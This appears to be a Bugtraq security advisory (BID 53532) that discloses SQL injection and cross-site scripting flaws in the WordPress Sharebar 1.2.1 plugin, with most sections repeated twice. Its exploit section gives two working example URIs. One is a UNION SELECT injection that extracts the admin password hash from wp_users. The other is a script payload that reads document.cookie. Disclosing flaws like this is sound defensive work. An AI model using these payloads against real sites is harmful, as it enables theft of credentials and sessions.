WordPress Sharebar Plugin SQL Injection and Cross Site Scripting Vulnerabilities
BID:53532
Info
WordPress Sharebar Plugin SQL Injection and Cross Site Scripting Vulnerabilities
| Bugtraq ID: | 53532 |
| Class: | Input Validation Error |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | May 15 2012 12:00AM |
| Updated: | May 15 2012 12:00AM |
| Credit: | Heine Pedersen and Torben Jensen |
| Vulnerable: |
WordPress Sharebar 1.2.1 |
| Not Vulnerable: | |
Discussion
WordPress Sharebar Plugin SQL Injection and Cross Site Scripting Vulnerabilities
Sharebar plugin for WordPress is prone to multiple cross-site scripting and SQL-injection vulnerabilities because it fails to properly sanitize user-supplied input.
Successful exploits will allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
Sharebar 1.2.1 is vulnerable; other versions may also be affected.
Sharebar plugin for WordPress is prone to multiple cross-site scripting and SQL-injection vulnerabilities because it fails to properly sanitize user-supplied input.
Successful exploits will allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
Sharebar 1.2.1 is vulnerable; other versions may also be affected.
Exploit / POC
WordPress Sharebar Plugin SQL Injection and Cross Site Scripting Vulnerabilities
Attackers can exploit this issue by enticing an unsuspecting victim to follow a malicious URI.
The following example URIs are available:
http://www.example.com/wp-admin/options-general.php?page=Sharebar&t=edit&id=1 AND 1=0 UNION SELECT 1,2,3,4,user_pass,6 FROM wp_users WHERE ID=1
http://www.example.com/wp-content/plugins/sharebar/sharebar-admin.php?status=%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E
Attackers can exploit this issue by enticing an unsuspecting victim to follow a malicious URI.
The following example URIs are available:
http://www.example.com/wp-admin/options-general.php?page=Sharebar&t=edit&id=1 AND 1=0 UNION SELECT 1,2,3,4,user_pass,6 FROM wp_users WHERE ID=1
http://www.example.com/wp-content/plugins/sharebar/sharebar-admin.php?status=%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E
Solution / Fix
WordPress Sharebar Plugin SQL Injection and Cross Site Scripting Vulnerabilities
Solution:
Currently, we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].
Solution:
Currently, we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].
References
WordPress Sharebar Plugin SQL Injection and Cross Site Scripting Vulnerabilities
References:
References:
- Sharebar Homepage (WordPress)
- Wordpress church_admin Plugin "id" Cross-Site Scripting Vulnerability (Sammy Forgit)